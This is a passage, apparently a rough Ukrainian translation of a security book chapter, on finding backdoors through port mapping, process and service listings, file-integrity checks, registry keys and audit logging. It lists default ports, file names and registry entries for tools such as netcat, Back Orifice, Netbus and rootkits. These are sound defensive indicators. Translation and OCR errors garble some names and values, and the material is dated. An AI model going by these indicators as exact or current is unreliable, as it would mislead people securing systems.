fport - Process port mapper Copyright (c) 2000, Foundstone, Inc.
http://www.foundstone.com
PID
NAME TYPE PORT 222 IEXPLORE UDP 1033 224 OUTLOOK UDP 1107 224
OUTLOOK UDP 1108 224 OUTLOOK TCP 1105 224 OUTLOOK UDP 1106 224
OUTLOOK UDP 0 245 Mapisp32 UDP 0 266 nc TCP 2222
З
приведеного лістингу видно, що порт з номером 2222 прослуховується утилітою netcat. А при використанні програми netstat можна було б дізнатися тільки номер порту, що прослуховується.
Для сканування великих мереж і пошуку програм прослуховування краще всього використовувати програми-сканери портів або мережеві засоби, які обговорювалися в розділі 2.
Який
би метод виявлення портів, що прослуховуються, не використовувався, його результат буде задоволений важко інтерпретувати, якщо ви не знаєте, що саме потрібно знайти. У таблиці. 14.1 приведений перелік найбільш красномовних ознак наявності
програмного забезпечення видаленого управління.
Якщо
на якому-небудь вузлі виявлено прослуховування приведених в таблиці портів, то це вірна ознака того, що він піддався нападу або по злому наміру хакера або із-за необережності самого адміністратора. Слід проявляти пильність також і по відношенню до інших портів, які на перший погляд здаються звичайними. У багатьох з перерахованих засобів можна змінювати номер порту, що прослуховується (див. таблицю). Щоб переконатися, що доступ до цих портів з Internet обмежений, потрібно використовувати пристрої забезпечення безпеки на межі мережі.
Видалення підозрілих процесів
Ще одна
можливість виявлення "потайного ходу" полягає в перевірці списку процесів на наявність в нім таких виконуваних файлів, як nc, WINVNC. exe і так далі Для цього в системі NT можна використовувати утиліту pulist з набору NTRK, яка виводить всі запущені процеси, або sclist, що показує працюючі служби.
Таблиця 14.1. Номери портів, використовувані програмами і
видаленого управління при створенні "потайних
ходів"
"Потайний хід"
|
Порт TCP, використовуваний за умовчанням
|
Порт UDP, використовуваний за умовчанням
|
Можливість використання альтернативних портів
|
Remote.exe
|
135-139
|
135-139
|
Немає
|
Netcat
|
Будь-який
|
Будь-який
|
Так
|
Loki
|
Не використовується
|
Не використовується
|
Не використовується
|
Реверсивний telnet-сеанс
|
Будь-який
|
Не використовується
|
Так
|
Back Orifice
|
Не використовується
|
31337
|
Так
|
Back Orifice 2000
|
54320
|
54321
|
Так
|
Netbus
|
12345
|
Не використовується
|
Так
|
Masters Paradise
|
40421,40422,40426
|
Не використовується
|
Так
|
pcanywhere
|
22,5631,5632,65301
|
22, 5632
|
Немає
|
Reachout
|
43188
|
Немає
|
Немає
|
Remotely Anywhere
|
2000, 2001
|
Немає
|
Так
|
Remotely
|
799, 800
|
800
|
Так
|
Possible/controllt
|
|
|
|
Timbuktu
|
407
|
407
|
Немає
|
VNC
|
5800, 5801
|
Немає
|
Так
|
Windows Terminal Server
|
3389
|
3389
|
Немає
|
Netmeeting Remote Desktop Control
|
49608, 49609
|
49608, 49609
|
Немає
|
Citrix ICA
|
1494
|
1494
|
Немає
|
Команди pulist і sclist прості у використанні. Їх зручно застосовувати у файлах сценаріїв для автоматизації процесу тестування як на локальній системі, так і в мережі. Як приклад приведемо список процесів, що виводиться програмою pulist.
С:\nt\ew>pulist
Process PID
User Idle 0 System 2
smss.exe 24 NT AUTHORITYXSYSTEM
CSRSS.EXE 32 NT AUTHORITYXSYSTEM
WINLOGON.EXE 38 NT AUTHORITYXSYSTEM
SERVICES.EXE 46 NT AUTHORITYXSYSTEM
LSASS.EXE 49 NT AUTHORITYXSYSTEM
CMD.EXE 295 Toga\administrator
nfrbof.exe, 265 Toga\administrator
Uedit32.EXE 313 Toga\administrator
NTVDM.EXE 267 Toga\administrator
PULIST.EXE 309 Toga\administrator
C:xntxew>
У наступному прикладі за допомогою утиліти sclist був отриманий список служб, що працюють на видаленому вузлі.
C:\nt\ew>sclist \\172.29.11.191
---------------
- Service list for \\172.29.11.191
---------------
running Alerter Alerter running Browser Computer
Browser stopped Clipsrv Clipbook Server running DHCP DHCP
Client running Eventlog Eventlog running Lanraanserver
Server running Lanmanworkstation Workstation running Licenseservice
License Logging Service stopped Schedule Schedule running Spooler
Spooler stopped Tapisrv Telephony Service topped UPS UPS
У системі UNIX для аналогічних цілей можна використовувати команду ps. У кожній версії UNIX є свої особливості використання цієї команди. У Linux вона виглядає як ps -aux, а в Solaris — ps -ef. Ці команди можуть і мають бути застосовані при створенні сценаріїв, службовців для отримання звіту про зміни в списку активних процесів. У число інших чудових інструментів системи UNIX, що дозволяють отримати відповідність між службами і запущеними процесами, входять програми
Isof, яку можна застосовувати в більшості версій, і sockstat для FREEBSD. Ось приклад результатів роботи цих утиліт.
[crush] lsof -i
COMMAND PID USER FD TYPE DEVICE Size/off NODE NAME
syslogd 111 root 4u Ipv4 Oxc5818foo OTO UDP *:syslog
dhcpd 183 root 7u Ipv4 Oxc5818e40 OTO UDP *:bootps
dhcpd 183 root lou Ipv4 Oxc5bc2foo OTO ICMP *:*
sshd 195 root 3u Ipv4 Oxc58d9d80 OTO TCP *:ssh (LISTEN)
sshd 1062 root 4u Ipv4 Oxcssdasco OTO TCP crush:ssh-
>192. 168.1.101:2420 (ESTABLISHED)
Xaccel 1165 root 3u Ipv4 Oxc58dad80 OTO TCP *:6000 (LISTEN)
gnome-ses 1166 root 3u Ipv4 Oxc58dab60 OTO TCP *:1043 (LISTEN)
panel 1201 root 5u Ipv4 Oxc58da940 OTO TCP *:1046 (LISTEN)
gnome-nam 1213 root 4u Ipv4 Oxc58da2eo OTO TCP *:1048 (LISTEN)
genj.itil_ 1220 root 4u Ipv4 Oxc58dbd80 OTO TCP *:1051(LISTEN)
sshd " 1245 root 4u Ipv4 Oxc58da720 OTOTCP crush:ssh-
>192.163.I.101:2642 (ESTABLISHED)
[crush] sockstat
USER COMMAND
PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS
root sshd 1245 4 tcp4 10.1.1.1.22 192.168.1.101.2642
root genjjtil 1220 4 tcp4 *.1051 *.*
root gnome-na 1213 4 tcp4 *.1048 *.*
root panel 1201 5 tcp4 *.1046 *.*
root gnome-se 1166 3 tcp4 *.1043 *.*
root Xaccel 1165 3 tcp4 *.6000 *.*
root sshd 1062 4 tcp4 10.1.1.1.22 192.168.1.101.2420
root sshd 195 3 tcp4 *.22 *.*
root dhcpd 183 7 udp4 *.67 *.+
root syslogd 111 4 udp4 *.514 *.*
Звичайно ж, оскільки більшість з розглянутих вище програм може бути перейменоване, без інвентаризації системи і додатків як при їх початковій установці, так і при подальших оновленнях, "потайний хід" буде важко виявити (нам здається, що про це мовилося вже достатньо).
Відстежування змін файлової системи
Для переобтяжених роботою адміністраторів сама думка про регулярне оновлення повного списку файлів і каталогів може показатися божевільною, оскільки це вимагає набагато більших витрат, чим всі попередні рекомендації. В той же час, якщо стан системи змінюється не дуже часто, такий облік є найнадійнішим методом виявлення слідів зловмисників.
У системі Novell для відстежування змін в розмірах файлів, часу останнього звернення і інших атрибутів можна скористатися командою ndir. У системі UNIX можна написати сценарій, що містить команду Is -la, який записуватиме ім'я кожного файлу і його розмір. У Windows при використанні команди dir виводиться час останньої зміни, час останнього звернення до файлу, а також нею розмір. Для ведення каталога файлів без зміни часу доступу до них можна порекомендувати утиліти а find, hfind і sfind компанії Ntobjectives. Окрім інших достоїнств, ці програми дозволяють ідентифікувати приховані файли, а також виявляти потоки даних усередині файлів. Для аудиту файлів в системах Nt/2000 можна використовувати також вбудовані можливості файлової системи NTFS. Просто клацніть правою кнопкою миші на потрібному файлі або каталозі, виберіть команду Security, клацніть на кнопці Auditing, і встановите необхідні параметри для кожного користувача або групи.
У Windows
2000 з'явилася підсистема захисту файлів (WFP — Windows File Protection), що забезпечує захист системних файлів від перезапису (до них відноситься близько 640 файлів з каталога %systemroot%). Цікавий побічний ефект цього нововведення полягає в тому, що хэш-коды Sha-1 цих важливих файлів містяться у файлі каталога %systemroot%\system32\dllcache\nt5.cat. Тому, порівнюючи еталонні хэш-коды з хэш-кодами поточних системних файлів, можна перевірити їх цілісність. Таку перевірку можна виконати з використанням засобу верифікації сигнатури файлів (File Signature Verification, sigverif.exe). Для цього клацніть на кнопці Advanced, перейдіть у вкладку Logging і встановите режим Append Те Existing Log File, щоб нові результати можна було порівнювати з отриманими раніше. Проте потрібно мати на увазі, що в режимі. WFP сигнатура, швидше за все, не зв'язується з кожним окремим файлом. Як відзначив в травні 2000 року Русявий Купер (Russ Cooper), підсистема захисту WFP не помічає копіювання одного з "помічених" файлів поверх іншого (наприклад, непоміченим залишиться копіювання notepad.exe поверх wscript.exe). В процесі тестування поверх файлу
wscript.exe ми скопіювали файл, що немає системним, і утиліта sigverif все одно підтвердила його цілісність! Тому краще поки не покладатися на ці нові засоби, поки не будуть розгадані причини такої дивної поведінки.
Серед засобів сторонніх виробників можна згадати програму перевірки цілісності файлів Mdssum. Вона входить до складу пакету Textutils, який розповсюджується в рамках загальної ліцензії
GNU. Версію, скомпільовану для системи Windows, можна знайти за адресою
http://sourceware.cygnus.com/cygwin/. Утиліта Mdssum на основі поширеного алгоритму Md5, розробленого Роном Рівестом (Ron Rivest) з лабораторії комп'ютерних наук Массачусетського технологічного інституту, дозволяє обчислити або перевірити профільне повідомлення (message digest) файлу завдовжки 128 битий. Опис програми приведений в документі RFC 1321. У наступному прикладі показано, як програма Mdssum генерує контрольну суму файлу test, txt, а потім виконує її перевірку.
D:\toolbox>md5sum d:\test.txt>d:\test.md5
D:\toolbox>cat d:\test.md5
efd3907b04b037774d831596f2clbl4a d:\xtest.txt
D:\toolbox>md5sum --check d:\test.md5
d:\xtest.txt: OK
На жаль, програма Mdssum одночасно обробляє тільки один файл (звичайно, написавши сценарій, це можна виправити). У число ефективніших засобів виявлення вторгнень у файлову систему входить стара програма Tripwire, яку можна знайти за адресою
http://www.tripwire.com.
Слід згадати і дещо інших важливих утиліт, призначених для перевірки вмісту двійкових файлів. До них відноситься відома програма strings, яка працює як в системі UNIX, так і в Windows, Bintext Робіна Кайра (Robin Keir) для Windowsі Ultraedit32 для Windows
.
І
нарешті, при інвентаризації файлової системи очевидним кроком є пошук легко впізнанних виконуваних файлів, що забезпечують "потайний хід", а також використовуваних ними бібліотек. Оскільки більшість з цих інструментів може бути перейменоване, така процедура зазвичай не приносить користі, але усунення очевидних вад — це вже половина успіху в битві за забезпечення безпеки мережі. У таблиці. 14.2 приведений список найбільш важливих файлів, при виявленні яких потрібно приймати заходи, описані в цьому розділі.
Таблиця 1 4.2. Використовувані за умовчанням імена виконуваних файлів утиліт
удаленногоуправленія
"Потайний хід"
|
Ім'я файлу(ов)
|
Можливість перейменувати
|
remote (NT)
|
remote . ехе
|
Є
|
netcat (UNIX і NT)
|
пс І пс . ехе
|
Є
|
rinetd
|
rinetd, rinetd.exe
|
Є
|
Утиліти туннелірованія пакетів 1смр і UDP
|
loki І lokid
|
Є
|
Back Orifice
|
[пропуск] .ехе, boserve.exe, boconfig.exe
|
Є
|
Back Orifice 2000
|
bo2k.exe, bo2kcfg.exe, bo2kgui.exe, Umgr32 . EXE, bo_peep. dll, bo3des . dll
|
Є
|
Netbus
|
patch . exe, Nbsvr . exe, Keyhook . dll
|
Є
|
Virtual Network Computing for Windows (WINVNC)
|
WINVNC . EXE, Vnchooks . DLL, І Omnithkead_rt.DLL
|
Немає
|
Linux Rootkit (LRK)
|
Irk
|
Є
|
Nt/2000 Rootkit
|
deploy . exe і _root_ . sys
|
Немає в збірці 0.31 а
|
Завантажувальний файл і параметри системного реєстру
Зломщикам було б нецікавий створювати "потайний хід", якби після звичайного перезавантаження системи або після видалення адміністратором якої-небудь необхідної служби, вони не мали б можливості відновити з'єднання. Це можна забезпечити, помістивши в основних конфігураційних файлах або в системному реєстрі посилання на засоби створення "потайного ходу". Фактично для функціонування багато із згаданих програм потрібна наявність в системному реєстрі певних параметрів, що значно полегшує їх ідентифікацію і видалення.
Програма
Back Orifice додає запис в поддерево системного реєстру Hkey_local_machine\software\
Microsoft\windows\currentversion\runservices\. При установці за умовчанням в системному реєстрі параметру (Default) привласнюється значення " .ехе" ([пропуск] .ехе), що є прийнятим за умовчанням ім'ям виконуваного файлу сервера В, поміщеного в каталог C:\windows\system. При установці пакету Во2к виконуваний файл перейменовується в Umgr32 .ехе і в системі Win 9x копіюється в каталог З: \windows\system. а в Nt/2000 — в каталог З: \winnt\system32. Звичайно ж, зломщик може змінити ці параметри на свій розсуд. Якщо які-небудь параметри системного реєстру посилаються на файл розміром близько 124,928 байт, то існує вірогідність, що це файл В. Файл Во2к має розмір 114,688 байт.
Остання версія програми Netbus додає декілька параметрів в поддерево Hkey_local_machlne\software\net Solutions\netbus Server, проте самий важ-ний ключ створюється
в Hkey_local_machlne\software\ Microsoft\windows\currentversionxrun. Він посилається на виконуваний файл сервера (у раніших версіях за умовчанням цей файл називається Sysedit, але зломщик може його змінити).
Пакет WINVNC створює ключ Hkey_users\ .DEFAULT\Software\ORL\winVNC3.
У системі UNIX небезпечні демони потрібно шукати в різних файлах
rс, а також у файлі /etc/inetd.conf.
Аудит, перевірка облікових записів і ведення журналів реєстрації
Це остання по порядку, але не по ступеню важливості, контрзахід, оскільки неможливо ідентифікувати вторгнення, якщо не активізовані засоби сповіщення. Переконаєтеся, що підключені вбудовані можливості аудиту. Наприклад, в NT політикові аудиту можна набудувати за допомогою диспетчера користувачів, а в 2000 — з використанням аплета Security Policy. To же саме можна здійснити за допомогою утиліти auditpol з набору NTRK. Файлова система NTFS дозволяє відстежувати доступ на
рівні окремих файлів. Для цього у вікні провідника Windows клацніть правою кнопкою миші на необхідній теці або на файлі, виберіть команду Properties, перейдіть у вкладку Security, клацніть на кнопці Auditing і набудуйте потрібні параметри.
Відомо, що
в системі Nt4 ведення повного аудиту призводить до зниження продуктивності, тому багато хто не користувався цією можливістю. Проте тестування Windows 2000 показало, що в цій операційній системі в режимі аудиту споживання ресурсів значно понижене і уповільнення її роботи невідчутно навіть при використанні всіх можливостей, що надаються.
Звичайно,
якщо журнал реєстрації не є видимим регулярно, якщо його вміст віддаляється через нестачу вільного простору на диску або із-за поганої організації, то навіть найповніший аудит виявиться даремним. Одного разу ми відвідали Web-узел, який був попереджений про атаку ще за два місяці до її реалізації. І це трапилося тільки завдяки тому, що деякі системні адміністратори старанно вели журнали реєстрації. Щоб не втратити таку важливу інформацію, розробіть політику регулярної архівації журналів реєстрації. Багато компаній регулярно імпортують їх в бази даних, щоб полегшити процес пошуку і автоматизувати систему сповіщення про небезпеку.
Крім того, уважно
стежите за нез'ясовними змінами облікових записів. Тут можуть стати в нагоді програми сторонніх виробників, системи, що дозволяють отримати "миттєвий знімок". Наприклад, програми Dumpsec (її попередня версія називається DUMPACL), Dumpreg і Dumtevt компанії Somarsoft (http://www.-somarsoft.com) надають практично всю потрібну інформацію про системи Nt/2000. Запуск цих утиліт виконується з командного рядка.
|